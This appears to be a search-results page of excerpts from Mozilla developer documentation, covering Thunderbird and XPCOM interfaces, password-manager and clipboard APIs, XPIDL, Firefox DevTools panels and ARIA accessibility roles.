... in boolean clearMsgHdr); Parameters title Not used. body The HTML to display in the message pane. Note that the HTML is wrapped in <html> and <body> tags for you. clearMsgHdr Whether or not the existing message pane and header should be cleared before the HTML is displayed. StopUrls() This is equivalent to calling Stop(nsI
WebNavigation::STOP_NETWORK) on the nsI
WebNavigation object. void StopUrls(); closeWindow() When the msg window is being unloaded from the content window, this notification can be used to force a flush on anything the message window hangs on. For some reason XPConnect is still hanging onto the message window even though all of our objects have let go of it. This forces a release. It clears out the ...
nsIWinTaskbar
ystem. This ID is used by the taskbar for grouping windows and when associating pinned shortcuts with running instances and jump lists. Read only. For XULRunner applications, the defaultGroupId attribute is configured using application.ini settings, and is of the format "vendor.application.version". For example, if the Vendor is configured to "Foobar Systems", the application's Name is "Squash
web", and the application's Version is 1.0, the defaultGroupId attribute would be "Foobar Systems.Squash
web.1.0". See XUL Application Packaging for additional details. Methods createJumpListBuilder() Retrieve a taskbar jump list builder. Fails if a jump list build operation has already been initiated, developers should make use of a single instance of nsIJumpListBuilder for building lists within an a...
...arTabPreview object for the new tab preview. ...
nsIWorkerMessageEvent
1.0 66 Introduced Gecko 1.9.1 Inherits from: nsIDOMEvent Last changed in Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0) Method overview void initMessageEvent(in DOMString aTypeArg, in boolean aCanBubbleArg, in boolean aCancelableArg, in DOMString aDataArg, in DOMString aOriginArg, in nsISupports aSourceArg); Attributes Attribute Type Description data DOMString The event's data. Read only. origin DOMString The event's origin. Read only. ...
...OMString aOriginArg, in nsISupports aSourceArg ); Parameters aTypeArg The event type. ...
nsIAbCard/Thunderbird3
HomeZipCode, HomeCountry HomePhone, HomePhoneType Work contact. ...
...eCountry HomePhone, HomePhoneType Work contact. ...
Using nsIPasswordManager
s an expert on this area. Review and cleanup would be appreciated. Zachlipton 22:52, 18 July 2006 (PDT) The code on this page will work with applications using Toolkit 1.8 and below such as Firefox 2.0.0.x and Thunderbird 2.0.0.x. For similar functionality in Toolkit 1.9, see Using nsILoginManager. Working with Password Manager Extensions often need to securely store passwords to external sites,
web applications, and so on. To do so securely, they can use nsIPasswordManager, which provides for secure storage of sensitive password information. Getting nsIPasswordManager To get a component implementing nsIPasswordManager, use the following: var passwordManager = Components.classes["@mozilla.org/passwordmanager;1"] .getService(Components.interfaces.nsIPasswordMan...
...is to retrieve the password again later), a username, and a password. Of this information, the password is the only data that will be stored securely. Adding a password to the password manager is easy: passwordManager.addUser('host', 'username', 'password'); Since there's no provision to include names of HTML input fields, no password stored by this interface will be used to fill in passwords on
web pages. nsILoginManager, available in Toolkit 1.9, does let you include input field names. Retrieving a password Retrieving a password from the password manager is more difficult. The example below should serve as a starting point: // the host name of the password we are looking for var queryString = 'http://www.example.com'; // ask the password manager for an enumerator: var e = passwordManager.e...
Using the clipboard
ow object, find a suitable privacy context for it. if (source instanceof Ci.nsIDOMWindow) // Note: in Gecko versions >16, you can import the PrivateBrowsingUtils.jsm module // and use PrivateBrowsingUtils.privacyContextFromWindow(sourceWindow) instead source = source.QueryInterface(Ci.nsIInterfaceRequestor) .getInterface(Ci.nsI
WebNavigation); res.init(source); } return res; } Here, the string "Text to copy" will be copied but you can replace this with the text string that you want to copy. Now that we have the object to copy, a transferring object needs to be created: var str = "Text to copy"; var trans = Transferable(sourceWindow); trans.addDataFlavor("text/unicode"); // We multiply the length of the ...
... it with a "privacy context", which will ensure that source data from inside private browsing mode will be cleared when the mode is exited. Please note: the sourceWindow variable is a placeholder for whatever window owns the data being copied -- from any DOM element you can obtain it via element.ownerDocument.defaultView. If, and only if, you are placing data on the clipboard that is unrelated to
web content the user is viewing, you can pass a null privacy context to the init method. The next step is to tell the transferable what type of data we want to use. The type of data is referred to as a data flavor. The function addDataFlavor is used to tell the transferable that it needs to transfer data of a certain flavor. In this case, we are transferring the flavor "text/unicode" which is a Unic...
XPIDL
XPIDL is an Interface Description Language used to specify XPCOM interface classes. Interface Description Languages (IDL) are used to describe interfaces in a language- and machine-independent way. IDLs make it possible to define interfaces which can then be processed by tools to autogenerate language-dependent interface specifications. XPIDL is expected to converge towards
WebIDL in the future. Note: Starting in Gecko 9.0, the older xpidl utility, which was previously used to generate C++ header files, typelib information, and so forth has been replaced with pyxpidl in the Gecko SDK. pyxpidl has been used for some time now, but now the older tool has been fully retired. Writing XPIDL interface files XPIDL closely resembles OMG IDL, with extended syntax to handle IIDs and additi...
... This type gets const when an in type. Special in typelib. nsid This type gets const when an in type. Special in typelib. ptr The type is really (native str)* ref The type is really (native str)& utf8string This is an nsACString declaration whose text is UTF-8. As far as I can tell, these properties also apply to typedefs. Need to verify.
WebIDL interfaces are also valid XPIDL types. To declare a
WebIDL interface in XPIDL, write
webidl InterfaceName;.
WebIDL types will be passed as mozilla::dom::InterfaceName* when used as in-parameters, as mozilla::dom::InterfaceName** when used as out or inout-parameters, and as RefPtr<mozilla::dom::InterfaceName> when used as an array element. Other
WebIDL types (e.g. dictionaries, enums, and uni...
Index
not a common usage model. How do I test it? On window and mac, the cached compose window is on by default. To test it 17 Content Tabs thunderbird Content Tabs enable Thunderbird to display remote content in a tab, which users can browse in (mostly) the same way as with a browser. For example, invoking Thunderbird's Help | What's New menu option opens a tab that displays
web content. The Thunderbird team can update this content via the
website at any time. 18 Cookies In Thunderbird Cookies, Guide, thunderbird In versions of Thunderbird prior to 3 the cookie policy was very restrictive (to RSS only). Thunderbird 3 uses the Gecko cookie policy with some changes. 19 Creating a gloda message query Thunderbird 3, thunderbird This ...
...t can be fired in Mail code. Some of these are standard events, such as those created by the DOM. Others are internal to Gecko or other parts of Mozilla application code. This reference will help you track those events down and learn how to use them. 25 Filelink Providers thunderbird Filelink is a Thunderbird feature that makes it easy for users to upload large attachments to
web-based storage services such as Hightail. 26 nsIMsgCloudFileProvider nsIMsgCloudFileProvider is the interface that must be implemented by new Filelink providers. 27 Folder pane interfaces This page contains a list of the interfaces that you'll will most likely use when writing extensions that affect the Folder Pane. See Working with the folder pane for e...
Mail composition back end
ge *msgToReplace, - if the delivery mode is set to nsMsgSaveAsDraft, this is a pointer to the the nsIMessage object for the message that needs to be replaced nsIMsgSendListener **aListenerArray) = 0; - an array of listeners for the send operation. this can be nsnull if you want to do the delivery operation "blind" Send
WebPage The Send
WebPage method is a convenience function that will let the caller send a
web page by specifying a URI. NOTE: This can be any valid URI so one can send local disk files by specifying a file:// URI. NS_IMETHOD Send
WebPage( nsIMsgIdentity *aUserIdentity, - the user identity for the person doing the send operation. This will be nee...
...ces. ...
Thunderbird Configuration Files
nce, go to the New menu, and select the type of preference. Some preferences may require that you restart Thunderbird in order to take effect. Configuration Files Some tips and tricks require that you edit configuration files manually. There are three files you should know about: userChrome.css Used to change the appearance of the browser. userContent.css Used to change the appearance of
web pages. user.js Used to change various preferences. All these files are plain text files you need to create in your profile folder and can be edited using a standard text editor, such as Notepad on Windows and gedit or kate on Linux. Locate your profile folder Before the configuration files are presented, you should know how to find your profile folder, which is where Thunderbird saves all y...
...anage any number of profiles by using the Profile Manager. userChrome.css This file sets the display rules for various elements in the Thunderbird user interface and is located in the sub-folder called chrome in your profile folder. This folder does not exist by default, so you need to create it before you can start adding your preferences. userContent.css This file sets the display rules for
web content and is located in the sub-folder called chrome in your profile folder. As with userChrome.css, this folder does not exist by default, so you need to create it before you can start adding your preferences. user.js This is the additional preferences file for Thunderbird and is located in your profile folder. The file does not exist by default, so you need to create it before you can start...
Thunderbird
Thunderbird is a mail/messaging application managed and developed by the Thunderbird community. These pages document Thunderbird and the MailNews backend which is also used in other projects such as Seamonkey and Postbox. Thunderbird is built on the same technical platform as the Firefox
web browser. Currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat, newsgroup and feed reading in a familiar high-productivity environment. (From early 2007 to early 2011 Thunderbird was developed by Mozilla Messaging, a subsidiary owned by Mozilla.) Documentation Building Thunderbird Information about building Thunderbird with the comm-central repository. T...
...d extensions View All... ...
Using Mozilla code in other projects
d applications. Various components of the platform, such as the SpiderMonkey JavaScript engine, can be used in your own projects without the rest of the platform. There are also modules that aren't used in Firefox but are available for use by other applications; an example of this is Rhino, the JavaScript engine written in Java. You can embed Gecko, the layout engine used by Firefox to process
web pages, as a browser within your own application. Building XUL applications The Joy of XUL An introduction to XUL; a must read for new developers. XUL Reference The complete reference to XUL. XULRunner A Mozilla runtime package that can be used to bootstrap XUL and XPCOM applications with ease. Mozilla Toolkit Information about the Mozi...
... ...
Virtualenv
access to your system packages and you won't mess up your system packages with whatever code you install into the site-packages directory of the virtualenv. site-packages should mostly be for system-installed python and not python that you are installing as a user. This page is mostly a stub for how virtualenv is used at Mozilla. For more information on virtualenv in general, see the virtualenv
web site. Python packaging at Mozilla is covered in Python. Getting Virtualenv virtualenv is a python package. You can download it from its PyPI package page or install it with easy_install. The github virtualenv repository is maintained by the Python Packaging Authority (including Mozilla's Tarek Ziade and Ian Bicking). If you have git installed, you can clone the latest version of virtualenv: g...
...ad it from its PyPI package page or install it with easy_install. The github virtualenv repository is maintained by the Python Packaging Authority (including Mozilla's Tarek Ziade and Ian Bicking). If you have git installed, you can clone the latest version of virtualenv: git clone git://github.com/pypa/virtualenv.git If you have pip or easy_install, you can install virtualenv directly from the
web: pip install virtualenv # -or- easy_install virtualenv This will fetch virtualenv from PyPI and install it in your site-packages. You may need to use sudo to obtain appropriate permissions for the system. If you do not have pip or easy_install, you will need to download from PyPI or clone from the github virtualenv repository, extract from the tarball (in the PyPI case), and run python setup.p...
Standard OS Libraries
e GDK library functions are available for use. GDK has version 2 and 3, typically version 2 is referred to as just GDK and version 3 is referred to as GDK3. Examples for both are found below. Documentation for GDK functions are found here: GNOME Developer :: GDK 2 Reference Manual. For GDK3 documentation is found here: GNOME Developer :: GDK 3 Reference Manual. Because GNOME is in the name of the
websites don't get confused and think this only works on GNOME. It is true though that GDK was developed by the GNOME team. Example: gdk_window_get_pointer This example is fot the GDK 2.0 library. In GDK 3.0 the gdk_window_get_device_position function was deprecated, see below for GDK 3.0 example. Components.utils.import('resource://gre/modules/ctypes.jsm'); var gdk = ctypes.open('libgdk-x11-2.0.
...top :: xproto.h Mac OS X Mac OS X has two categories of C-based API (Carbon, Core Foundation) and Objective-C based API (Cocoa). Note: You cannot use Carbon routines from your add-on; Firefox is a 64-bit application, and you cannot use Carbon from 64-bit code. Core Foundation To learn about all the Mac OS X APIs and which library file you will need to call, go to the Mac Developer Library
website and find the function, then scroll down to "Declared In" section, and find which Framework contains the header file. The CoreGraphics framework is based on CoreFoundation framework, including CoreGraphics etc. The release, string, etc. comes from CoreFoundation. Example: CGEventGetLocation For example, CGEventGetLocation function is declared in CGEvent.h header file, which is contained in ...
Application - Firefox Developer Tools
Accessing the Application panel The Application panel is available on the standard DevTools tab menu under Application, in Firefox 79+. If you can't see it there, you can enable it by going to the "three dot" menu and selecting Settings (also accessible by pressing F1), then checking the Application checkbox under Default Developer Tools. ...
...ault Developer Tools. ...
UI Tour - Firefox Developer Tools
Listener Breakpoints DOM Mutation Breakpoints Source list pane The source list pane lists all the JavaScript source files loaded into the page, and enables you to select one to debug. At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served. You can search for a file using Ctrl + P (Cmd + P on a Mac).
Web Extensions are listed in the Source List pane using the extension's name. There are several context menu options available for individual files and folders or groups; typically viewed by right-clicking on the item. For files, the following context menu options are available: Copy source URI copies the full identifier of the file to the clipboard. Ignore source causes the debugger to ski...
...p over (F10): steps to the next line of JavaScript code. Step in (F11): steps into the function call on the current line of JavaScript code. Step out (Shift-F11): runs the script until the current function exits. A button that deactivates all breakpoints. A settings menu that contains: Disable JavaScript: disables JavaScript for this tab. This option enables you to see how your
web page looks if the user has disabled JavaScript via an extension or a configuration setting. The setting is reset when the Developer Tools are closed (except in Firefox 77, see bug 1640318). Inline Variable Preview: enabled by default, this option displays variable values within the source pane when the debugger is paused. Source Maps: enabled by default, this option directs the Debugger to ...
Using the Debugger map scopes feature - Firefox Developer Tools
This feature is useful when debugging source-mapped code. It enables you to see the variables from the original source. It's also possible to inspect variables from the generated scopes (e.g., a bundle file with all concatenated module files). Let's take a look at how this works. If you want to follow along, use this example. Open the example page and then open the debugger using Tools >
Web Developer > Debugger (or press Ctrl + I and then select the debugger). Select the "bundle.js" file in the Sources panel on the left and then set a breakpoint at line 102 in the increment function. When you click the increment button on the page and hit the breakpoint, an additional section is added to the right-hand panel below the Call stack to display variables mapped from the original scope, lik...
...nal code. Notice that your breakpoint is set here in the original code as it was in the corresponding line in the "bundle.js" file. And, since Map has been checked in the Scopes panel, you also see variable symbols from the original code. Using this feature is expensive in terms of resources, but it certainly makes your life easier when you have to debug source code that has been packaged
webpack or a similar tool. ...
Debugger.Frame - Firefox Developer Tools
ribing what sort of frame this is: "call": a frame running a function call. (We may not be able to obtain frames for calls to host functions.) "eval": a frame running code passed to eval. "global": a frame running global code (JavaScript that is neither of the above). "module": a frame running code at the top level of a module. "wasmcall": a frame running a
WebAssembly function call. "debugger": a frame for a call to user code invoked by the debugger (see the eval method below). implementation A string describing which tier of the JavaScript engine this frame is executing in: "interpreter": a frame running in the interpreter. "baseline": a frame running in the unoptimizing, baseline JIT. "ion": a frame running ...
...call to user code invoked by the debugger (see the eval method below). implementation A string describing which tier of the JavaScript engine this frame is executing in: "interpreter": a frame running in the interpreter. "baseline": a frame running in the unoptimizing, baseline JIT. "ion": a frame running in the optimizing JIT. "wasm": a frame running in
WebAssembly baseline JIT. this The value of this for this frame (a debuggee value). For a wasmcall frame, this property throws a TypeError. older The next-older visible frame, in which control will resume when this frame completes. If there is no older frame, this is null. depth The depth of this frame, counting from oldest to youngest; the oldest frame has a depth of zero. live True i...
Debugger.Memory - Firefox Developer Tools
rrespond to the number of GC cycles that have run, but is guaranteed to be monotonically increasing. Function Properties of the Debugger.Memory.prototype Object Memory Use Analysis Exposes Implementation Details Memory analysis may yield surprising results, because browser implementation details that are transparent to content JavaScript often have visible effects on memory consumption.
Web developers need to know their pages' actual memory consumption on real browsers, so it is correct for the tool to expose these behaviors, as long as it is done in a way that helps developers make decisions about their own code. This section covers some areas where Firefox's actual behavior deviates from what one might expect from the specified behavior of the
web platform. Objects SpiderMonkey...
...original strings. Again, such a string retains other strings, but the memory consumed by the string itself is a small constant independent of its size, since it is simply a pair of pointers. SpiderMonkey converts strings from the more complex representations to the simpler ones when it pleases. Such conversions usually increase memory consumption. SpiderMonkey shares some strings amongst all
web pages and browser JS. These shared strings, called atoms, are not included in censuses' string counts. Scripts SpiderMonkey has a complex, hybrid representation of JavaScript code. There are four representations kept in memory: Source code. SpiderMonkey retains a copy of most JavaScript source code. Compressed source code. SpiderMonkey compresses JavaScript source code, and de-compr...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
Visit the URL about:config, and set the devtools.chrome.enabled preference to true: Setting the 'devtools.chrome.enabled' preference Open a developer Scratchpad (Menu button > Developer > Scratchpad), and select "Browser" from the "Environment" menu. ...
...plays a tree of allocations: An allocation plot, displayed in the console The numbers at the left edge of each line show the total number of objects allocated at that site or at sites called from there. After the count, we see the function name, and the source code location of the call site or allocation. The (root) node's count includes objects allocated in the content page by the
web browser, like DOM events. Indeed, this display shows that popup.xml and content.js, which are internal components of Firefox, allocated more objects in the page's compartment than the page itself. (We will probably revise the allocation log to present such allocations in a way that is more informative, and that exposes less of Firefox's internal structure.) As expected, the onclick handler is ...
Network request details - Firefox Developer Tools
row displays a new pane in the right-hand side of the network monitor, which provides more detailed information about the request. The screenshots and descriptions in this section reflect Firefox 78. Earlier versions appeared similarly, but might not include some functionality. The tabs at the top of this pane enable you to switch between the following pages: Headers Messages (only for
WebSocket items) Cookies Params Response Cache Timings Security (only for secure pages) Stack trace (only when the request has a stack trace, e.g. a script called by another script). Clicking the icon at the right-hand end of the toolbar closes the details pane and returns you to the list view. Headers tab The Headers tab has a toolbar, followed by three main sections. This includes: I...
...refox 62 (bug 1452715). Params tab This tab displays the GET parameters and POST data of a request: Response tab The complete content of the response. If the response is HTML, JS, or CSS, it will be shown as text: If the response is JSON, it will be shown as an inspectable object: If the response is an image, the tab displays a preview: For network responses that are initiated by a
WebSocket connection, the details pane shows any associated messages. For more information, see Inspecting
web sockets. Cache tab If the response is cached (i.e. a 304), the Cache tab displays details about that cached resource. These details include: Last fetched: The date the resource was last fetched Fetched count: The number of times in the current session that the resource has been fetc...
Network Monitor - Firefox Developer Tools
The Network Monitor shows you all the network requests Firefox makes (for example, when it loads a page, or due to XMLHttpRequests), how long each request takes, and details of each request. Opening the Network Monitor There are a few different ways to open the Network Monitor: Press Ctrl + Shift + E ( Command + Option + E on a Mac). Select "Network" from the
Web Developer menu, (which is a submenu of the Tools menu on OS X and Linux). Click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Network". The Network Monitor will appear at the bottom of the browser window. When it first opens, the Network Monitor does not show request information. The just opened tool looks like this: Either action causes the Network Monitor to begin monito...
...ke this: Either action causes the Network Monitor to begin monitoring network activity. Once the tool is monitoring network requests, the display looks like this: When it is actively monitoring activity, the Network Monitor records network requests any time the Toolbox is open, even if the Network Monitor itself is not selected. This means you can start debugging a page in, for example, the
Web Console, then switch to the Network Monitor to see network activity without having to reload the page. UI overview The UI is divided into four main pieces: The main screen contains the toolbar, the network request list, and the network request details pane: The performance analysis view is a separate screen: Working with the network monitor The following articles cover different a...
Open the Inspector - Firefox Developer Tools
Right-click an element on a
web page and select Inspect Element. ...
... There are two main ways to open the Inspector: Choose Tools >
Web Developer > Inspector from the Menu Bar or the equivalent keyboard shortcut. Right-click an element on a
web page and select Inspect Element. The Inspector will appear at the bottom of the browser window: You can also set the pane to appear at the left side of the browser window: To the right side of the browser window: Or in a separate window: To start finding your way around the Inspector, see the UI tour. ...
Storage Inspector - Firefox Developer Tools
Currently it can be used to inspect the following storage types: Cache Storage -- any DOM caches created using the Cache API. Cookies -- All the cookies created by the page or any iframes inside of the page. Cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open. IndexedDB -- All IndexedDB databases created by the page or any iframes inside the page, their Object Stores and the items stored in these Object Stores. Local Storage -- All local storage items created by the page or any iframes inside the page. ...
...e or any iframes inside the page. Session Storage -- All session storage items created by the page or any iframes inside the page. For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases. Opening the Storage Inspector You can open the Storage Inspector by selecting "Storage Inspector" from the
Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on macOS), or by pressing its Shift + F9 keyboard shortcut. The Toolbox will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox. Storage Inspector User Interface The Storage Inspector UI is split into three main compo...
Style Editor - Firefox Developer Tools
The Style Editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets from scratch and apply them to the page import existing stylesheets and apply them to the page To open the Style Editor choose the "Style Editor" option from the "
Web Developer" menu (which is a submenu in the "Tools" menu on the Mac). The Toolbox will appear at the bottom of the browser window, with the Style Editor activated: The Style Editor is divided into three main sections: the style sheet pane on the left the editor on the right the media sidebar. The style sheet pane The style sheet pane, on the left, lists all the style sheets being used by the current document. You can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to...
...sive Design View: Creating and importing style sheets You can create a new style sheet by clicking the New button in the toolbar. Then you can just start entering CSS into the new editor and watch as the new styles are applied in real time just like changes to the other sheets. You can load a style sheet from disk and apply it to the page by clicking the Import button. Source map support
Web developers often create CSS files using a preprocessor like Sass, Less, or Stylus. These tools generate CSS files from a richer and more expressive syntax. If you do this, being able to see and edit the generated CSS is not so useful, because the code you maintain is the preprocessor syntax, not the generated CSS. So you'd need to edit the generated CSS, then manually work out how to reapply that...
Taking screenshots - Firefox Developer Tools
's HTML pane, and select "Screenshot Node". The screenshot is saved to the browser's "Downloads" directory: Copying screenshots to the clipboard From Firefox 53, you can also copy the screenshot to the clipboard. Just check the box in Settings labeled "Screenshot to clipboard": Now, whenever you take a screenshot, the screenshot is also copied to the clipboard. Taking screenshots with the
web console If you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in Firefox 62 you can use the :screenshot helper function in the
Web Console. Type :screenshot in the
Web Console to create a screenshot of the current page. By default, the image file will be named Screen Shot yyy-mm-dd at hh.mm.ss.png. Tip: You cou...
...t. Values above 1 yield "zoomed-in" images, whereas values below 1 create "zoomed-out" images. --file boolean When present, the screenshot will be saved to a file, even if other options (e.g. --clipboard) are included. --filename string The name to use in saving the file. The file should have a ".png" extension. --fullpage boolean If included, the full
webpage will be saved. With this parameter, even the parts of the
webpage which are outside the current bounds of the window will be included in the screenshot. When used, "-fullpage" will be appended to the file name. --selector string A CSS selector that selects a single element on the page. When supplied, only this element and its descendants will be included in the screenshot. ...
about:debugging (before Firefox 68) - Firefox Developer Tools
The about:debugging page provides a single place from which you can attach the Firefox Developer Tools to a number of debugging targets. At the moment it supports three main sorts of targets: restartless add-ons, tabs, and workers. Opening the about:debugging page There are several different ways to open about:debugging: Type "about:debugging" in the Firefox URL bar. In the Tools >
Web Developer menu, click "Service Workers". Select the
Web Developer menu under the Hamburger menu (), then select "Service Workers". When about:debugging opens, on the left-hand side, you'll see a sidebar enabling you to switch between the two main views: one for add-ons and one for workers. Whether or not system add-ons appear in the list on this page depends on the setting of the devtools.aboutdebugg...
...hether or not system add-ons appear in the list on this page depends on the setting of the devtools.aboutdebugging.showSystemAddons preference. If you need to see system add-ons, navigate to about:config and make sure that this value is set to true. Add-ons The Add-ons section in about:debugging only supports restartless add-ons, including basic bootstrapped extensions, Add-on SDK add-ons, and
WebExtensions. This page enables you to do two things: Load an add-on temporarily from disk Connect the Add-on Debugger to any restartless add-ons Connecting the Add-on Debugger The Add-ons page in about:debugging lists all restartless add-ons that are currently installed (note that this list may include add-ons that came preinstalled with your Firefox). Next to each entry is a button labe...
Using the article role - Accessibility
The article role is used to identify a section of a page that forms an independent part of a document, page or site. Examples of an article include
web log posts, newspaper or magazine articles and use-submitted comments. It is independent in that its contents could stand alone, for example in syndication. Articles can be nested; for example, a
web log entry on a site that accepts user-submitted comments could represent the comments as articles nested within the article for the
web log entry. The ARIA article role is similar to the HTML5 article element; however the article element should still be given the ARIA role of article, since not all assistive technologies support HTML5 yet. Possible effects on user agents and assistive technology When the user navigates an element assig...
...ent should still be given the ARIA role of article, since not all assistive technologies support HTML5 yet. Possible effects on user agents and assistive technology When the user navigates an element assigned the role of article, assistive technologies that typically intercept standard keyboard events SHOULD switch to document browsing mode, as opposed to passing keyboard events through to the
web application. Assistive technologies MAY provide a feature allowing the user to navigate the hierarchy of any nested article elements. Note: Opinions may differ on how assistive technology should handle this technique. The information provided above is one of those opinions and therefore not normative. Examples <article role="article"> <header> <h2>Blog Post</h2> </header> <section c...
ARIA: timer role - Accessibility
The timer role indicates to assistive technologies that an element is a numerical counter listing the amount of elapsed time from a starting point or the remaining time until an end point. <div role="timer" id="eggtimer">0</div> This defines this div element as a timer with no remaining time. Description The timer role indicates to assistive technologies that this part of the
web content is a live region containing a timer listing the time remaining or elapsed time. A timer's inner text should be an updating current time measurement. While the value does not necessarily need to be machine parsable, it should continuously update at regular intervals unless the timer is paused or reaches its end-point. Associated WAI-ARIA roles, states, and properties aria-label Used to provide the...
...tion container. Set in response to keyboard or other application events that change focus or point of interaction. The timer role does not have a related HTML widget and XXX. The author of the timer must take full responsibility for not letting users get stuck in a focus limbo or trap focus inside something the user cannot exit of. All aspects of interaction, including returning to the regular
web content on other parts of the page, must be handled. Use wisely, and cautiously! Examples Some prominent
web timers include clocks, stop watches and countdowns, such as ticketing
websites, e-commerce sites, and event countdowns (see https://countingdownto.com/). As an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. The clock is updated each minute,...
ARIA: article role - Accessibility
It is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page. <div role="article"> <h2>Heading of the segment</h2> <p>Paragraph for the segment.</p> <p>Another paragraph.</p> ... controls to interact with the article, share it, etc. ... </div> <div role="article"> ... </div> This example shows two articles side by side on one page that could be structured similarly and are related. Instead of a div with an article role, use the <article> element. ...
...cle is part of a feed, it can have the aria-posinset and aria-setsize attributes set to indicate which position within the feed this particular article represents. Inside an application or other widget that causes screen readers and other assistive technologies to be in pass-through mode, an article can be used to indicate that these should switch back to treating the enclosed content as regular
web content. Instead of including the article role on a non-semantic element, the <article> element should be used. User agents translate this to the appropriate accessibility information just like the article role. Using the <article> element also helps search engines better discover the structure of a page. Examples of appropriate uses of the role="article", or preferably <article>, include blog p...
ARIA: document role - Accessibility
ead the content contained within this element. <div role="dialog"> ... <div id="InfoText" role="document" tabindex="0"> <p>Some informational text goes here.</p> </div> ... <button>Close</button> </div> This example shows a dialog widget with some controls and a section with some informational text that the assistive technology user can read when tabbing to it. Description By default,
web pages are treated as documents; assistive technologies (AT) enter browse or read mode when entering a new
web page. This mode can be altered through various roles, including the widget and application roles. The document role brings the AT back into browse or read mode. Generally placed within an application role or other interactive widget role, the document role is used to indicate a section ...
...bute / value pair on it. This way, the user can tab to it, reading mode is invoked automatically, and the content can be read right away. Required JavaScript features None, except as required by any attributes. For example, if the document is collapsible, then the state and the value of aria-expanded must be maintained. Examples An example is Gmail and the single conversation view. GMail is a
web application. When in GMail, most user agent interactions are usurped by the application. However, when the Keyboard focus is set on the starting heading on a single conversation that contains the subject of the conversation, the screen reader user can use the reading mode commands to read through the messages, expand or collapse them, and manipulate them. Once focus returns to the message list ei...
ARIA: feed role - Accessibility
et="427" aria-setsize="-1">...</article> <article aria-posinset="428" aria-setsize="-1">...</article> <article aria-posinset="429" aria-setsize="-1">...</article> ... </section> Description A feed is a page structure for a scrollable list of articles where scrolling may cause articles to be added to the top or end of the list. The list establishes an interoperability contract between the
web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articles to load while in reading mode. Examples include an RSS feed, news feeds, social media feeds like Facebook, Instagram or Twitter, or even a list of related products on an eCommerce page. These streams can be l...
...By identifying the elements inside of an article that provide the title and the primary content, assistive technologies can provide functions that enable users to jump from article to article and efficiently discern which articles they want to read. The feed pattern enables reliable assistive technology reading mode interaction by establishing the following interoperability agreement between the
web page and assistive technologies: In the context of a feed, the
web page code is responsible for: Appropriate visual scrolling of the content based on which article contains DOM focus. Loading or removing feed articles based on which article contains DOM focus. In the context of a feed, assistive technologies with a reading mode are responsible for: Indicating which article...
Basic form hints - Accessibility
input id="wine-4" type="checkbox" value="gewurztraminer"/> <label for="wine-4">Gewurztraminer</label> </li> </ul> </form> Labeling with ARIA The HTML <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic JavaScript widget, using <div>s or <span>s. WAI-ARIA, the Accessible Rich Internet Applications specification from the W3C's
Web Accessibility Initiative, provides the aria-labelledby attribute for these cases. The example below shows a radio button group implemented using an unordered list. Note that on line 3, the <ul> element sets the aria-labelledby attribute to rg1_label, the id of the <h3> element on line 1, which is the label for the radio group. <h3 id="rg1_label">Lunch Options</h3> <ul class="radiogroup" id="rg...
...riptionRevert">Reverting will undo any changes that have been made since the last save.</div> Note: The aria-describedby attribute is used for other purposes, in addition to form controls. Required and invalid fields Note: Now that required is available to more than 97% of users globally, it is no longer recommended that you use both required and aria-required.
Web developers typically use presentational strategies to indicate required or invalid fields. Assistive technologies (ATs) cannot necessarily infer this information from the presentation. ARIA provides attributes for indicating that form controls are required or invalid: The aria-required property can be applied to a form element, to indicate to an AT that it is required to complete the form. Th...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
ice input software, want to track what's happening inside Mozilla. They need to know about focus changes and other events, and it needs to know what objects are contained in the current document or dialog box. Using this information, a screen reader will speak out loud important changes to the document or UI, and allow the user to track where they navigate. The screen reader user can navigate the
web page using screen reader commands or browser commands, and the two pieces of software must remain in sync. Some screen readers can even show information on a refreshable braille display. Screen magnifiers will zoom to the focus, keeping it on the screen at all times, or even allow the user to enter a special low vision document reading mode, with a variety of features such as ticker mode where te...
...text roles Problem: There are two different roles for text objects, ROLE_STATICTEXT and ROLE_TEXT. ROLE_TEXT is supposed to mean editable text, yet it is sometimes used in conjuction with STATE_READONLY. It's difficult to know when to use which role plus readonly state combination. For example, Internet Explorer uses ROLE_TEXT without STATE_READONLY and ROLE_TEXT with STATE_READONLY for ordinary
web page text. However, it uses ROLE_STATICTEXT for labels. Solution: Use ROLE_STATICTEXT for labels specific to dialog and UI controls, and always use ROLE_TEXT for document text even if the text is not editable (in that case use ROLE_TEXT with STATE_READONLY). Use ROLE_TEXT with the readonly flag cleared for editable text fields. Issues with Links Problem: Some assistive technologies have inflex...
Keyboard-navigable JavaScript widgets - Accessibility
These widgets are typically composed of <div> and <span> elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. This document describes techniques to make JavaScript widgets accessible with the keyboard. Using tabindex By default, when people use the tab key to browse a
webpage, only interactive elements (like links, form controls) get focused. With the tabindex global attribute, authors can make other elements focusable, too. When set to 0, the element becomes focusable by keyboard and script. ...
...status, you can use the document.activeElement to get the active element. You can also use document.hasFocus to make sure if the current document focus. Technique 2: aria-activedescendant This technique involves binding a single event handler to the container widget and using the aria-activedescendant to track a "virtual" focus. (For more information about ARIA, see this overview of accessible
web applications and widgets.) The aria-activedescendant property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of thi...
Robust - Accessibility
Note: To read the W3C definitions for Robust and its guidelines and success criteria, see Principle 4: Robust -- Content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. ...
